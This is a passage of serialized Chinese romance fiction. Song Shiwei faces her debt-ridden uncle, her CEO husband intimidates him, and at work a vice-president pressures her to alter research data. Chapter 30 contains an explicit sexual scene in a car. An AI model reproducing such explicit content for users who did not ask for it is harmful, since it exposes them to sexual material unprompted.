宋时微一早接到物业的电话,听到宋振兴又在楼下,看来他不达目的誓不罢休。 为了不给别人的工作增加麻烦,决定晚上去见他。 宋时微轻而易举打听到他的号码,开门见山说:“下午6点,你家旁边的咖啡厅见。” 宋振兴:“你是谁?” 宋时微轻呵一声,“你不是想找我吗?怎么连我声音都听不出来。”说完这句话,她就挂断电话,不愿意和他多说一个字。 除了工作,她在研究怎么对付宋振兴。 可巧,临下班时谢屿舟和她说:“池砚舟找我有点事,我晚上去看看。” “好。”自觉太冷淡,宋时微补充一句,“那你早点回来,我等你。” 这下好了,不用找借口找理由避开谢屿舟去见宋振兴。 六点三十分,宋时微出现在约好的咖啡厅,拉开椅子坐下,语气冷硬,“说吧,找我什么事?” 宋振兴早早去等候,等了十分钟人没来,等了二十分钟,还是没见到人,他气地想骂人。 距离约定的时间过去了半个小时,终于有人在他对面坐下。 宋振兴七年没见宋时微,通过五官依稀辨认出她,和曾经的小丫头片子完全不同,“女大十八变,差点没认出来,看来侄女这几年过得可以。” 有求于人他的脾气没有发作,反而笑脸相迎。 宋时微冷脸睨他,“我们之间不用扯这些。” 宋振兴不断打量宋时微,“侄女回来也没说来看看叔叔。” “呵”,宋时微没有隐藏对他的厌恶,“我们的关系好像并没有多好吧,要不是你在这坐着,我都认不出来你。” 宋振兴难得好脾气,“都是一家人,别忘了你姓‘宋’。” 宋时微喝下一口咖啡,好苦好苦,舌根蔓延苦涩,“谁和你一家人,谁稀罕用你家的‘宋’,我妈和我爸已经离婚了,我户口跟了我妈,我和你们宋家再没有关系,和你更没有关系。” “话不能这么说,好侄女,血缘是割不断的,我怎么也是你叔叔。”宋振兴打起亲情牌,“你回来都没去看过大哥,我要不说,大哥都不知道你回来了。” 宋时微:“他缺我去看他吗?七年前他就不是我爸了。” 迂回政策失败,宋振兴表明目的,“就是,叔叔最近手头紧,想借点钱,我保证下个月就还。” 宋时微对人的认知还是不够,看来是周围人借光了,想到了她。 “要钱没有,没别的事我走了。” 好话说尽,她油盐不进,宋振兴破罐子破摔,“你就不怕我去你单位闹?把你和你妈之前做的事抖漏出去。” “抖漏什么,你瞎编乱造的那些事,还是我爸的事啊。”宋时微眼神冷冽,“你觉得我会怕吗?我! 现在光脚的不怕穿鞋的,你想去尽管去就是了,大不了我再找工作。” 宋振兴气地发抖,“哪里是我瞎编,明明就是你们卷款潜逃,我现在只是拿回属于我大哥的部分。” 宋时微却问他,“是谁透露给你我的上班地址的?” 知道她在寰宇上班的人不多,不过如果采用非法手段开盒的话,那另当别论。 不过,宋振兴应该没这个头脑和本事,可能还是有人在背后指使。 “我偶然发现的。”宋振兴使出杀手锏,“嫁了个有钱人,借给叔叔点钱怎么了?” 还知道她结婚了,看来挺熟悉。 宋时微在桌底握紧拳头,“你怎么知道的?” 第 29 章 恨她(新增1000字)[VIP] 第29章恨她(新增1000字)[vip] 客厅的灯光安静作业,飞进来一只小虫子,在白色吸顶灯上留下一小搓阴影。 就像她的家庭前十七年平静如水,迈入第十八年的年头发生了翻天覆地的变化。 宋时微会坦白部分事情,在谢屿舟的意料之外,她之前不会和他说家里的事情。 在他的了解里,她和妈妈关系好,和爸爸一般。 更深层次的内容,在他们那个年纪,考虑不到那么多,每天只想把时间花在彼此的身上。 谢屿舟毫不犹豫抱紧宋时微,当她蜷缩在沙发角落时就想抱她。 如果问他,怨她吗?恨她吗?怪她吗? 答案是,怨她、恨她、怪她。 最后,都会化成另外一个问句和另外一句话。 谢屿舟宽大的手掌拊在宋时微的后脑勺,将她的耳朵按在自己的左边。 心脏跳动的位置。 室内寂静无声,猫咪窝在沙发睡着,无意识伸出舌头舔舔毛,偶尔换个睡姿。 隔着薄薄的白衬衫,宋时微清晰听见谢屿舟的心跳声。 扑通、扑通,是轻微的、一阵一阵的心跳声,特定的整齐规律。 给宋时微印象最深的一次心跳,是他们第一次牵手,为了救下被高年级欺负的学生,她拉上路过的他,救下人后,两个人在小巷里迎着夕阳穿行。 现在,他们的距离比那一刻近了许多,又远了更多。 谁都没有言语。 宋时微的耳朵抵在他的心脏,小心翼翼伸出手环住他,想靠得更近、再近一点。 半晌,她松开了谢屿舟,深呼吸一口气,坐直身体,直视男人的眼睛,微张嘴唇,“但我不后悔。” 她的语气坚定,事情已经发生,即使再给她一次选择的机会,她还是会写下同样的答案。 男人没有开口说话,眉头微拧,眼神一瞬不移,定定看着她。 矜贵冷淡的侧脸半隐在光线里,浓密的晦暗不明。 宋时微垂下眼睫,她唯一亏欠的人是谢屿舟,“抱……” ‘歉’字被谢屿舟堵在她的嘴巴里,男人强势亲上她的唇,不想从她口中听到‘抱歉’的字眼。 她在抱歉什么呢? 抱歉在她心里,他不是第一选择。 抱歉在她做抉择时,他被放弃。 抱歉他成为最无辜的人。 抱歉他不是她可以依赖的人。 还是;抱歉,她不够喜欢他…… 是吗?是这样吗? “唔~”突如其来的吻像夏季午后的暴雨,来得迅猛暴烈,让人始料不及。 谢屿舟扣住她的脖颈,紧紧向他怀里压,让她贴住自己,誓要将她揉进身体里。 两件薄薄的衣服,挡不住急速升起的体温,唇瓣相连,他吻得很霸道、很凶。 不给她一丝逃脱的机会,男人炙热的气息渡到她的嘴里,侵入她的领地,津液在口腔舌尖中交换。 ! 宋时微的手腕被谢屿舟紧紧拽住,捏在手心里。 不知谁触碰到沙发的开关,腰部支撑的的靠背突然放平,她带着他一齐跌倒在沙发上。 心悸像涨潮的海水,一浪高过一浪,翻涌将她吞没,不容她做出一点反抗。 宋时微沉浸在这个吻中,被他裹挟着向前走,忘了向他道歉。 终于,谢屿舟停下,埋在她的颈窝里。 心脏连着心脏,余温在身体间传递,他不想做什么,只是不想听到伤人的话。 男人冷声道:“不要道歉。” 他从宋时微身上爬起来,整理下衬衫褶皱,黑眸里的情欲一点一点散去,“我先去洗澡。” 宋时微慌忙拽住他的手腕,“谢屿舟。” 她犹豫不决,思考片刻后松开了他的手,“你去吧。” 给他时间让他接受消化这些信息。 他被蒙在鼓里七年,被她放弃了七年。 谢屿舟踏出去一步又转身,抱紧宋时微,双臂箍紧她。 花洒的冷水兜头而下,让他的思维清醒一点,思绪在脑海中来回拉扯。 他恨她,什么都不和他说。 更恨自己,无法成为她可以依靠的人,在她遇到困难时,他什么都不知道。 主卧的灯光明亮,宋时微坐在床上等他,没有离开。 这就足够了。 过去的事就过去吧,隐瞒的事他装作不知。 谢屿舟掀开被子躺进去,抬手摁灭灯光,宋时微面向他的方向,“谢屿舟,宋振兴知道我结婚了,知道我的上班地址,他欠钱多肯定还不上了所以来找我,我这里行不通,可能会去找你。” “他说的话我不会信。”谢屿舟旋即补充,“我不会给他钱。” 他在洗澡的时候,已经想好了应对之策,不能坐以待毙,要主动出击。 如果宋振兴在楼下蹲不到宋时微,来个鱼死网破,说出对她不利的言论,后果不堪设想。 谢屿舟习惯性抱住宋时微睡觉,“睡吧,有我在。” 不会让她再受伤害。 “好。”宋时微搂紧他,贴在他的胸膛。 第二天一早,谢屿舟刚到办公室,喊孟新允进来,吩咐道:“联系一下叫‘宋振兴’的男人,带他来见我,你明白怎么做。” 孟新允应下,“明白,谢总。”不出半个小时,他联系上宋振兴。 他乘坐电梯下楼,亲自‘请’宋振兴上楼坐坐。 “宋先生,请,我们老板约你当面谈。” 宋振兴心生疑惑,“你们老板怎么会认识我?” 孟新允沉默,故意晾着他。 宋振兴以往走货梯多,第一次坐专梯,干净的电梯映照出他的脸,电梯上行,他的心却在下坠,“不知道老板找我什么事?” 一个欺软怕硬的人,惯会看人下菜碟,对孟新允说话客客气气。 孟新允依旧沉默。 直到出了电梯,宋振兴缓过来气,但紧接而来的气氛让他再次提起心,大气都不敢出。 ! 孟新允提前和总裁办的人打过招呼,说今天有贵宾,不能掉以轻心。 整个总裁办的人面无表情,严肃得很。 经过总裁办和秘书处,终于到达最里间的办公室。 孟新允推开厚重的钢制门,办公桌后方背对他们坐了一位身穿黑色西服的男人。 只看背影,感受到其强大的气场。 宋振兴手足无措不知道该怎么办?人在面对未知的事情时自带恐惧。 椅子缓缓转过来,冷淡的男人慢慢勾起唇角,“宋先生坐,不用这么局促。” 男人吩咐孟新允,“给宋先生倒茶。” 孟新允倒了一杯最烫的茶,“宋先生,请喝茶。” 谢屿舟自带上位者的严肃和压迫感,即使是笑,让人不寒而栗,宋振兴不敢与他对视,更不敢喝茶。 “是…谢…总吗?久仰大名。” 他磕磕绊绊说出完整的话。 “哦。”谢屿舟轻叩桌面,眸光扫过去,“在哪里仰的,什么时候开始的?” 宋振兴为难道:“这……”知道姓‘谢’,还是他昨晚查的资料。 谢屿舟慢悠悠吹凉手里的茶,“开个玩笑,宋先生莫怪。” 宋振兴用手背擦汗,“不知道谢总找我什么事?” “哐当”,谢屿舟将茶盏放在办公桌上,“你在我公司楼下闹事,我总要知道为什么吧。” 宋振兴:“和我侄女有点小矛盾,绝对不会影响其他人上班。” 谢屿舟语气冷冽,“怎么不会,万一被人拍下来了,有损我司形象,进而影响了股价,不知道宋先生能否承担后果。” “谢总,我也不想的,侄女不愿意见我,我也没办法。”宋振兴看谢屿舟没有打断他,继续说下去,“我侄女吧,她发达后就忘恩负义,小小年纪卷了钱就跑,可害死我大哥了,这是真的,我们那边的人都知道,就会图人钱。” 谢屿舟的脸色阴沉下去,眉峰下压,“我都不知道原来我太太是这样的人。” 他巴不得宋时微图他的钱,总比什么都不图得好。 宋振兴想上前攀关系,被孟新允拦住,“原来是侄女婿啊,你看这不是大水冲了龙王庙。” 他拍的照片模模糊糊,主要他没想到宋时微的对象这么有钱,这丫头一万块都不愿意借给她。 谢屿舟:“我可不敢高攀宋先生这样背后诋毁别人的人。” 宋振兴打马哈哈,“哪里的话,都是谣言,微微从小就乖,很孝顺的,后来估计被她妈蛊惑了。” 孟新允在一旁听着,感叹这人变脸挺快,不去火锅店表演可惜了。 谢屿舟没有立刻回他的话,慢慢喝茶,黑眸冷淡,“如果我没记错,时时和你并不熟吧,诋毁我丈母娘和我老婆,你想做什么?” 宋振兴:“我说的是实话,不然大哥家里的房子怎么没了,不然大哥怎么会这么惨。” 谢屿舟淡瞥一眼孟新允,孟新允将调查好的照片资料放在宋振兴面前。 “时时好说话,不代表我好说话,早年你妻子因你好赌钱和! 你离婚,以送水为生,但还是戒不掉赌博的习惯,欠了一堆债,东躲西藏不好过吧,欠债的日子不好过吧。” 桌子上摊着一堆照片,有他在地下赌场赌博的照片、有他送水的照片,还有他借钱的欠条。 每一项拍得清清楚楚、调查得明明白白。 “我现在不赌了。” 宋振兴保证道:“这不是想问她借点钱嘛,还完赌债就彻底金盆洗手,借的钱我一定还。” 谢屿舟问:“你拿什么保证?这十几万对于你来说不是小数目。” 宋振兴:“我送快递、送水、跑外卖肯定还。” 谢屿舟摩挲袖扣,“那我问你一个问题?如实回答我考虑考虑。” 宋振兴激动道:“我一定把知道的全说喽。” 孟新允自觉退出办公室。 谢屿舟方问出口,“她们七年前为什么离开?” 宋振兴:“还能为什么,受不了街坊邻居的闲言碎语呗。” 他花了半个小时,和谢屿舟说当年发生了什么,至于真假至于添了多少油多少醋,带了多少主观色彩,需要自行判断。 谢屿舟向后靠了靠,着重强调,“不要再出现在时时的面前,不要再找她的麻烦,至于钱嘛。” 男人停顿片刻,有意没有说完。 在宋振兴期待的眼神里,微笑补全了后半句话,“想都不要想。” 被人耍又不能发作,宋振兴的脸色垮下去。 谢屿舟幽幽道:“好心提醒一下宋先生,有些话可以说,有些话出口的时候,要想想自己能不能承受代价。” 男人给他发了安心剂,“不过,宋先生也不用怕,这是法治社会,我做不了什么。” 谢屿舟拨通内线,“送客。” 孟新允立刻推开办公室大门,“宋先生,请。” 顶楼发生的一切,宋时微全然不知,她在忙接下来的新品上市,紧张又兴奋。 至于宋振兴嘛,再来找她,她就给他点苦头吃吃。 接下来的时间,宋振兴消停了,没有再看到他的身影。 她和谢屿舟像从前一样相处,彼此更加忙碌,新品上市是一场硬仗。 南城两大巨头企业合作为新品造势,一场名为「煎茶」的发布会即将举行。 发布会的宣广近日投放在南城各个街头,一时成为城市的热点。 这场发布会由寰宇与傅氏的品牌部共同操盘,选在南城最豪华的五星级酒店,听闻布置场地的鲜花与气球选用行业顶端,谁都能看出两家对此的重视。 而宋时微这段时间忙着写方案,不是特别清楚发布会的流程和细则,她看过核心主题,谢屿舟和她讨论过相关事宜。 他从不会避讳给她看公司的东西,有时带着她参与。 第 30 章 车库[VIP] 第30章车库[vip] 宋时微心虚低下头,好想捂住耳朵,谢屿舟知不知道自己在说什么啊。 相隔太远,看不清楚他的表情,明明除了孟新允和傅景深,再无旁人知晓他们的夫妻关系,仍感觉被人拆穿。 她的心跳加速,耳朵的红晕蔓延到脖颈。 乔言心用胳膊肘捣捣宋时微,“微微,你的脸怎么这么红?” 宋时微拍拍脸颊,是有点发烫,胡诌个理由,“会场空调不行,有点热。” 乔言心感受下温度,“好像是有点热,人太多空调不好用。” 由于‘谢太太’的身份,现场掀起了一波小高潮,主持人:“谢总一直看东南边,看来谢太太在那里哦。” “我也在找。”谢屿舟眉峰上扬,毫不避嫌,仍朝东南角落看过去。 会场里人员众多,东南角不止她一人,宋时微如坐针毡,和乔言心说:“我去个卫生间。” 万能的借口,起身出去透气。 乔言心追上她,“我也要去,等等我。” 再玩下去人要跑了,谢屿舟收了心思,回归到饮料的主题上,不能喧宾夺主。 乔言心还在八卦,“微微,你说老板娘到底是何许人也,这么神秘。” 宋时微瞎说,“有的人不想被人关注吧,毕竟是人家两口子的事。” 乔言心:“话是这么说,自己公司的八卦,好奇心加倍,不认识的人,才不想八卦。” 是这个理,就像明星的八卦,不认识的上了热搜压根不想点进去,但凡是听过的,一定好奇。 她边走边感叹,“谢总提到老板娘时眼里都有光。” 宋时微尽量不笑出声,“有这么夸张吗?他又不是奥特曼。” 乔言心看看四周,大胆形容,“平时的谢总面无表情,眼睛扫过去寸草不生,冰封千里。” “你好可爱。”宋时微抽空查看手机,有两条来自谢屿舟的信息。 【对我的答案满意吗?】 【躲什么?】 他不是在台上吗?怎么有空给她发信息。 宋时微:【没躲,我去卫生间,谢总认真点,多么重要的场合。】 谢屿舟:【结束了。】 宋时微:【你少喝点。】 谢屿舟:【我现在不喝酒。】 怎么躲得掉?别人能轻易放过他吗?饭局应酬的场合需要借敬酒能打开话题。 待宋时微和乔言心回到会场,里面活动公司的人在收拾东西,群里通知她们去楼下吃饭。 寰宇与傅氏的员工被安排在后面几桌,远离公司领导、大客户和合作商,安静吃饭,乐得自在。 谢屿舟和傅景深自然是晚宴的主角,有人见谢屿舟端着茶杯,问他,“谢总不喝酒吗?” 只是,谢屿舟没有答话,合作方的一个老总替他开口,“老刘,一看你最近拜访谢总少了,谢总最近和太太在备孕,不能喝酒。” 刘总:“我这才回国,是我约的少了,我自罚三! 杯,提前祝谢总儿女双全。”???x 谢屿舟举起茶盏,“借刘总吉言。” 这下不止外面的人,寰宇的人也知道谢屿舟和太太备孕的消息了。 好笑的是,另一位最重要的当事人此刻才知道。 前面的对话完整无误传入宋时微的耳朵里,怪不得说不用喝酒。 备孕,亏他能想出来,过几年娃要是没出来,到底算他不行还是她不行。 反正不会是她。 乔言心扒着宋时微的手臂,“谢总又向我们这看了。” 宋时微拍拍她的手,“错觉,就像上课老师点名的时候,你以为他看你。” 她闷头吃菜,五星级的菜品有待改进,太一般了。 不知道谢屿舟会做出什么事。 这时,傅景深坐到宋时微的旁边,“要不要加一份?” 他看她一直在吃丸子。 “傅总,不用,我吃饱了。”宋时微搁下筷子,擦擦嘴巴。 他坐下没有离开的迹象,冷场不是待客之道,宋时微主动寻找话题,“傅总您不用去敬酒吗?” 傅景深意味深长地说:“我躲一会儿,我可没有太太给我当借口。” 这话宋时微没法接,举起酒杯,“祝傅总早日觅得有缘人。” 入口发现端错了杯子,硬着头皮喝下去。 两个人有一搭没一搭的聊天,傅景深不离开这边,问就是要躲酒。 “难得见傅总主动找女孩子,绣球有主人了?” 说话的是寰宇的一个副总周天睿,年纪大约30来岁,分管饮料条线,早年销售出身。 傅景深:“周总别说笑了,宋小姐结婚了,她老公还在现场。” 乔言心的耳朵精确捕捉到关键信息,抓住宋时微逼问道:“你老公在现场啊,傅总认识你老公?是哪个?我还是不是你最爱的宝了?” 问题轰炸,宋时微挠挠鬓角,“傅总有家花店,我们去买过花,不小心碰到的。” 为了彻底打消她的念头,补充道:“他先走了。” 乔言心惊讶问:“他都不等你吗?” 谎言说多了,宋时微现在脸不红心不跳,“公司有事,先回去了,司机留给我了。” 乔言心坏笑问她,“你为什么来我们公司啊,做老板娘不好吗?” 宋时微:“我是先找的工作,再结的婚。” 乔言心:“那也不耽误啊。” “他那没有适合我的岗位。”宋时微不想就着这个话题聊下去,担心露馅,“安姐说吃完可以先走,我想回去睡觉。” 说到睡觉,两个人一齐打了哈欠。 乔言心:“我也想,走吧。” 宋时微和傅景深告别,“傅总、周总,我们先回去了。” 反正乔言心见过,宋时微当着她的面走到黑色迈巴赫旁。 乔言心感慨,“看着就很贵,你老公会在里面吗?” 宋时微:“不会,他开自己车走的。”她下来的时候特意注意了谢屿舟,和其他人聊得正欢。 ! “拜拜,心心回去注意安全。”结果当她打开门,看到男人正看着她,宋时微吓得心跳要停止了。 她迅速挡在谢屿舟的面前,不让乔言心和其他路过的同事看见。 车门紧闭,宋时微放下心开口说话,“你什么时候下来的?” 怎么比她还早一步到车里呢。 谢屿舟针对她刚刚挡他的行为嗤笑一声,他现在特别像见不得光的地下情人。 “喝醉了?”男人白皙的手指缠绕宋时微的长发,绕在指尖把玩。 头发看似柔软,想要变弯却没那么容易,只要脱离了手指的掌控,立刻恢复原样。 宁断不弯的典型代表。 宋时微摇头,“没有,不小心喝了一口。” “我尝尝。”谢屿舟抬手放下挡板,手掌顺势下移到她的腰肢,将人抱在腿上,咬住她的嘴,衔在唇瓣里摩挲。 舌头强势探进去,扫荡口腔里的味道。 半晌,谢屿舟抵住她的额头说:“葡萄的味道。” 她叉开腿坐在他的大腿上,针织开衫叠加伞裙裙摆搭在两侧,头发垂在胸前。 男人的手掌压到一个圆形的东西,他从宋时微的针织衫口袋里掏出一颗球。 “这个球。”借着微弱的灯光,看清了球的模样,很是眼熟。 宋时微皱眉问:“这是什么球,怎么在我这?” 谢屿舟幽幽道:“傅景深的绣球。” “那送你了。”宋时微转而说道:“不合适,回去给猫玩吧,给陈叔也行,回去带给他孙子。” 谢屿舟的黑眸愈发深邃,“谢太太,别的男人抛绣球都抛给你了,挖墙脚都挖到我面前了,这可怎么办?” 男人的语气平静,这种平静似乎夹杂暗流。 如果说,曾经是给他不痛快,现在不一定了。 男人,演着演着自己都要陷进去了。 宋时微顿感无辜,“关我什么事,我问过糖糖了,你俩从小斗到大,是你带来的麻烦。” 谢屿舟若有若无咬她,发泄心里的不舒服,“自己的老婆被人觊觎。” 宋时微咬回去,“你想多了,傅总不是没有道德的人。” “那可不一定。” 谢屿舟:“不过,宝宝你又为他说话了,难道忘了惩罚吗?” 惩罚是,为傅景深说一次话,加一根手指。 宋时微小声提醒他,“这是在车上,你注意点影响。” 谢屿舟贴在她的耳边,“这么怕我做什么,我又不会真的做…你。” 宋时微凑到他的耳旁,嘲笑他,“忘了,谢总现在不行了,还没调理好,对,是不愿意调理,男人好面子,我懂。” 她的嘴像是淬了毒,天生用来治他。 车子缓缓使进臻悦府,陈叔直接下车下班。 后座的两个人没有开门,宋时微被谢屿舟禁锢在怀里,动弹不得。 “嘘。”男人好心捂住她的嘴巴,另一只手下探,熟稔地揉弄她。 宋时微第一关注点是,“你洗手了! 吗?” 谢屿舟:“放心,消毒了。”隔着内衣挑弄了几下,他抽出湿纸巾,清理干净继续行动。 宋时微不知道说他什么好,夸他注重卫生,还是说他变态,非要在车里弄她。 私人地库,不会有人过来。 只有他和她,谢屿舟愈发肆无忌惮,直接用上第一根手指。 一段时间没有造访,本能地收缩。 被她夹住,谢屿舟艰难行动,“我很好奇,是再没有人到过这里吗?” “天生的。”宋时微咬住唇瓣,倔强道:“我们那就是一夜情,我又不会为你守身,怎么可能没有,比你技术好,比你大的都有。” 一夜情,原来她是这样下定义。 谢屿舟不疾不徐,缓慢地增加一根又一根,似乎在和她玩猫和老鼠的游戏,慢慢消磨掉她的意志力。 “是吗?” 开始尚可承受,到后面很撑。 她一口咬住他的肩膀,眼尾的泪水滑落。 “你又好到哪里去,这么熟练,谁知道有多少床伴?” 即使成为砧板上的鱼肉,也不低头。 谢屿舟的喉咙溢出笑,“吃醋了?” 宋时微口不择言,“我吃什么醋,我只是不想用二手货,不想用烂黄瓜,嫌脏。” “那你放心,我有洁癖。” 宋时微泄在他的裤子上,挺括的黑色西服裤上沾满了水渍。 微张红唇趴在他怀里喘息。 谢屿舟将手指在球上抹来抹去,“可惜,球沾上了水,不能要了。” 男人降下车窗,抬手将球准确无误地投掷到垃圾桶里。 宋时微忍无可忍啐他,“神经、有病。” 谢屿舟:“这才哪到哪。” “我学习了很多,会一个一个用在你的身上。” 宋时微整理裙摆,看到拔地而起,“谁信呐?中看不中用。” —— 第 31 章 躲藏[VIP] 第31章躲藏[vip] 宋时微看到谢屿舟的第一反应是,他来干嘛?事事亲为岂不是会累死。 她在迅速脑袋里复盘,谁喊的谢屿舟? 首先排除周天睿,不可能是他,作为副总,连一个普通策划都搞不定,只会显得他无能不堪重任。 其他人呢?接触不到谢屿舟,策划案有分歧是很正常的事,没必要请老板裁定。 总结,总结不出来。 男人的白衬衫平整革履,领带是她早上亲自系上的,一双黑眸冷冷清清,看不清情绪。 谢屿舟示意道:“你们继续,当我不存在。” 随后他拿起手机,让孟新允和他一起玩手机,堪称‘掩耳盗铃式’不存在。 会议室一时间陷入诡异的安静,窸窸窣窣的零碎声音被无限放大,每个人屏气凝神,坐得板正。 周天睿咳了两声,不自然说道:“继续,我还是持我的观点,现在是流量时代,市场瞬息万变,比起未知数,还是稳妥的有基础保障的联名比较好,有销量保证。” 宋时微将ppt转回到几部电影的对比之上,迅速组织好说辞,“从各项数据及预告片来看,b和我们的定位不相符合,a是基于国风创造的独属于我们的神话故事影片,与我们的理念更加契合,这也是我坚持选择a的重要原因。” 周天睿自觉小看了宋时微,谢屿舟在场她竟然不紧张,还能有理有据反驳他,“像你说的购买力,动画片是给小孩子看的,他们同样没有购买力。” 宋时微对此问题早有准备,“不可否认,小朋友是动画的主力观看者,但从许多卡通人物的销售端数据来看,65%的购买人群年纪是22-32岁之间的成年人,数据显示近年玩偶类的销量上涨明显,对比去年同期上涨了大约34%。” 顿了顿,她补充,“能够看出成年的消费者是愿意为这些卡通人物买单的。” 她的眼神凌厉,嘴角扬起温柔的笑,始终面朝周天睿,屏幕上赫然醒目的数据是最有力的支撑。 眼前是谢屿舟熟悉的宋时微,不会打无准备之仗,更不会轻易妥协。 谢屿舟紧绷的肩膀悄悄塌了下去。 由于老板在场,周天睿无法强硬拍板,会议室算不上剑拔弩张,他的火只能压在心里。 现在的新人不容小觑,准备得太过详尽,真是小瞧了她,趁机在谢总面前表现,配上这张清冷的脸,给她做嫁衣了。 会议室再次陷入寂静,剩下的人面面相觑,等待主位的男人拍板定下,看最后是谁赢。 事不关己时,想看热闹,打得越激烈越好。 然而,在众人的期盼里,谢屿舟关闭了手机,“差不多了,走吧。”男人放下交叠的双腿,喊孟新允离开。 当他走到门口时,脚步微凝,意味深长看了一眼周天睿,挺括的身影消失在玻璃门后。 会议室里轻微的叹息与松了一口气交织混在一起。 周天睿脸色难看,“先这样,后面再议。”老板最后一个眼神,他不知道是! 什么意思,警告吗? 等领导走后,几个小策划离开会议室。 乔言心靠近宋时微,小声问:“谢总来干嘛的?” 宋时微:“我不知道。” 今日未解之谜,谢屿舟过来做什么?全程一言不发,玩自己的手机。 她刚坐到位置上,周天睿给她发微信,【微微,来一下。】 微微?宋时微看到他喊的称呼,顿感恶心。 一般情况下,周天睿不会直接找她,现在是特殊情况,他想在老板面前表现,什么都要过问。 宋时微叩响办公室的门,“周总,您找我。” 听到“进”的声音,她推门进去。 周天睿抬头看她,微笑说:“小宋坐。” 宋时微在办公桌对面的椅子上坐下,开门见山道:“不知道周总找我什么事?” 周天睿:“年轻人,别急,先喝茶。”一副好好人的样子,他将泡好的茶推到宋时微面前,细细打量一番。 漂亮是漂亮,可惜性子太直,需要调教调教,他乐于做这样的事,小姑娘有几个能经受住诱惑的。 周天睿看到她无名指上的戒指,“小宋结婚挺早啊,像你这么年轻就结婚的不多了。” 宋时微:“还好。” 有事说事,绕这么多做什么。 周天睿:“女孩子那么要强做什么,按时下班逛逛街做做美甲多好。” 他可以直接拍板,但今天谢总全程旁听,表面工作做到位,想要以‘理’服人,而不是职级压榨,传出去不好听。 “一个联名而已,和哪个做不是做呢,占总销量的比重不高,差不多就行了,卖我个面子,主动改一下,数据这东西,大家都懂。” 调研是这样,为了得到想要的结果,修改数值,算是公开的做法。 有一说一,周天睿像笑面虎,看似好好说话,实际口吻强硬。 宋时微装作为难的样子,“周总,这…不太好吧,谢总今天听了方案。” 周天睿:“谢总只关心销量,只要最后卖的不差,他不会在意的。” 在宋时微犹豫的瞬间,他补充,“小姑娘不要这么轴,不利于升职加薪。” 起身走到宋时微的身旁,浓厚的香水味刺鼻,手掌放在她的肩膀,“你刚转正,你也知道,现在工作不好找,要好好珍惜。” 宋时微条件反射身体倾斜过去,“周总,我知道了。” 硬刚不是当下的聪明做法,采取怀柔政策。 周天睿:“这才对嘛,巧克力拿去吃。” 宋时微没有拿,她坐回工位的第一件事,找出湿纸巾用力擦肩膀上的灰,即使只被他碰了一下。 她看着ppt发呆,周天睿话语权大,他不是一无是处混日子的富二代,相反他是销售的一把好手,不然不会年纪轻轻坐到副总的位置。 摆在眼前的事实是,她根本没有资格和周天睿刚,他随时可以开除她。 和他作对不会有好下场,主动权不在她的手上。 宋时微疲惫回到家里,抱着小! 猫咪吸取能量,她的方案一而再再而三地被否定。 提起笔修改本子上的卡通形象,希望有朝一日,可以见到天日。 谢屿舟比她晚下班,进门问:“你喷香水了?” 他这是什么鼻子,散发了几个小时,还能有残留。 宋时微如实答:“没有,周总身上的。” 谢屿舟去水吧台洗手,“他单独找你了。” 他了解过周天睿,早年能吃苦,现在独断专行,尤其当着他的面被新人驳了面子,想方设法证明自己是对的。 宋时微盖上笔记本,“是,聊聊方案。” 窗外起风,扬起了她的本子,从里面掉出一张纸,谢屿舟捡起来,“这是什么?” 纸上画了一只可可爱爱的小猫,穿着汉服小裙子。 宋时微:“我设计的一个猫偶,本来想作为我们的形象,进行辅助营销,提了被否了,因为还要花钱去设计成形,比较麻烦。” 想法天真,实际落地开发困难重重。 总结,资金不到位。 谢屿舟拉开椅子,在她旁边坐下,好奇问:“为什么是三花猫?” 宋时微解释,“因为三花猫是本土的猫咪,还是猫中大美女,和我们品牌比较契合。” 画风不够成熟,胜在神韵突出,谢屿舟掏出手机拍照,发给一个朋友。 宋时微微蹙眉头,“你想做什么?” 谢屿舟只道:“画了不能浪费。” 宋时微强调道:“那你记得署我的名。” 谢屿舟被她气笑,“我在你眼里这么像无良资本家啊?” 宋时微没有回答他的话,眼神却透露了答案。 是。 君姨做好饭上菜,宋时微放下怀里的小猫,去吧台洗手。 “你今天下来干嘛?” 谢屿舟卷起衬衫袖口,“看热闹。” “啊?”宋时微怀疑自己耳朵出错了,眉头紧蹙,“你有这么闲吗?” 谢屿舟:“有。” 他等宋时微继续开口问他,结果女生没有了声音,只在专心吃饭。 沉默须臾,他忍不住启唇,“你就没有其他什么想问我的吗?” 宋时微迷茫看他,“没有,要问什么?” 谢屿舟直言:“你就不想知道我会选哪部片子?” “选哪个都好。”别人轻而易举可以捏死她这只‘蚂蚁’,何必硬刚。 不过,她留了后手,今天录音了,不是她自愿修改,假使万一销量不好,她不背锅。 谢屿舟直视对面女人的眼睛,“如果我选周天睿的提议呢。” 宋时微耸耸肩,“那也正常。” 谢屿舟半倚在餐椅上,漆黑的眼眸凝视她,“不为自己再争取一下吗?” 宋时微摇摇头,“我相信你有你选择的原因。” 她想通了,方案被毙是常有的事,做好本职工作,剩下的非她所能控制。 谢屿舟心里像被石头堵住,他人就站在她的面前,递给她台阶让她上,她不接,她! 不要。 想她有麻烦主动和他分享,好难。 熄灯而眠,谢屿舟捏住宋时微的手腕,带进他的怀里,隔着黑暗,感受他莫名的不悦。 “你干嘛?” “培养感情,之前落下的,慢慢补回来。” 话音刚落,男人的嘴咬住她的唇。 她的嘴不是冷的,更不是硬的,为什么说不出来他想听的话? 思及此,谢屿舟眸光更暗,汲取她胸腔内所有的氧气。 宋时微捶他的背,“有病,属狗的。” 越捶他,他亲得越狠,鼻尖萦绕铁腥气。 翌日,宋时微按照周天睿的要求改好了ppt,发过去后又被他喊进办公室。 这次周天睿格外客气,“微微,我都不知道你和谢总还有关系,你看这不是闹了误会。” 一个小方案,哪里值得谢屿舟亲自过问,孟新允一早当面通知他,选a电影。 宋时微:“周总,你误会了,我和谢总并不熟,我想,谢总恐怕是基于报告数据的选择。” 周天睿仔细察看宋时微的表情,不像说谎,谢屿舟已婚,谢太太的身份未知,会是她吗? 秉着保险的看法,他问了她老婆,【老婆,你知道谢总太太是谁吗?】 【据说是高中同学,谈了七年。】 七年,周天睿调出宋时微的入职申请表,毕业于临港大学的临港人。 与她无关。 可能真的是他多想,要不是他老婆交代,在两部电影之间,他也会选择a。 他挥挥手,“你先出去吧。” 宋时微:“好的,周总。” 乔言心正被方案制裁,要成为她的梦魇了,“为什么周总要指指点点方案啊,一会说这个slogon不行,一会说渠道老土,一会说没特色,一会说配色不行,我再去找设计,怕是要把我杀了。” 她成为靶子,一大早所有的箭射向了她。 “我来看看。”宋时微查看两人的聊天记录。 “这不是按照要求改的吗?” 乔言心猛猛点头,“是的啊,他就说不行,也不说哪里不行。” 